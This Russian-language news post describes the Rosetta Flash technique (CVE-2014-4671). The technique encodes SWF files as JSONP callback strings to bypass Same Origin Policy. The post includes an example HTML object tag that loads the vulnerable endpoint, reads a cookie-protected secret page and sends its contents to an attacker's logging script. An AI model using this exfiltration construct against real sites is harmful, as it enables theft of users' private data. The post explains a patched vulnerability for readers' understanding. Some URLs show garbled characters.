Rosetta Flash — Кодирование Swf Для Вызова Из Jsonp

Микеле Спаньоло , специалист по безопасности Google, написал утилиту, которая может закодировать любой SWF-файл с помощью любого словаря.

Почему это необходимо? Все очень просто — такой файл можно передать как параметр обратного вызова в JSONP на сайте, с которого нужно получить информацию, таким образом можно обойти Same Origin Policy. Эта проблема известна довольно давно, однако особого внимания ей не уделялось именно потому, что получить SWF-файл, состоящий только из символов, которые можно задать в качестве параметра обратного вызова, было крайне сложно, однако теперь такой инструмент появился появился.

Утилита использует zlib, алгоритм Хаффмана и контрольную сумму перебора ADLER32. Среди крупных сервисов, оказавшихся уязвимыми:

Сервисы Google (accounts.google.com,books.google.com,maps.google.com) YouTube Ибэй Инстаграм Твиттер Тамблер Оларк

Как эксплуатировали уязвимость?

Предположим, есть два домена: miki.net, который мы контролируем, и тот, который нужно атаковать, trovatel.net. На trovatel.net есть сценарий JSONP, который принимает в качестве параметра печатные символы:
  
  
   

http://trovatel.net/vulnerable_jsonp.phpЭcallback=

Существует секретная страница, которая выдает секрет, если вы посетите ее с установленным файлом cookie.

http://trovatel.net/secret/secret.php

При посещении страницы miki.it/RosettaFlash , пользователь ожидает следующий код:

<object type="application/x-shockwave-flash" data=" http://trovatel.net/vulnerable_jsonp.phpЭcallback=CWSMI… " width="1" height="1"> <param name="FlashVars" value="url= http://trovatel.net/secret/secret.php&exfiltrate=http://miki.it/RosettaFlash/log.php "> </object>

Где miki.it/RosettaFlash/log.php — регистратор сценариев.

Браузер пользователя загрузит SWF-файл как бы с сайта trovatel.net, откроет страницу с секретом (и с правильными файлами cookie, конечно) и отправит ее содержимое на удаленный сервер злоумышленника.

Все достаточно просто и типично.

На данный момент Adobe выпустила обновление Flash Player, которое делает невозможным использование этой уязвимости.



Ссылки

Информация в блоге автора Подробности в PDF Утилита на Github CVE-2014-4671 Теги: #уязвимость #SWF #jsonp #rosetta flash #информационная безопасность #Adobe Flash
Вместе с данным постом часто просматривают: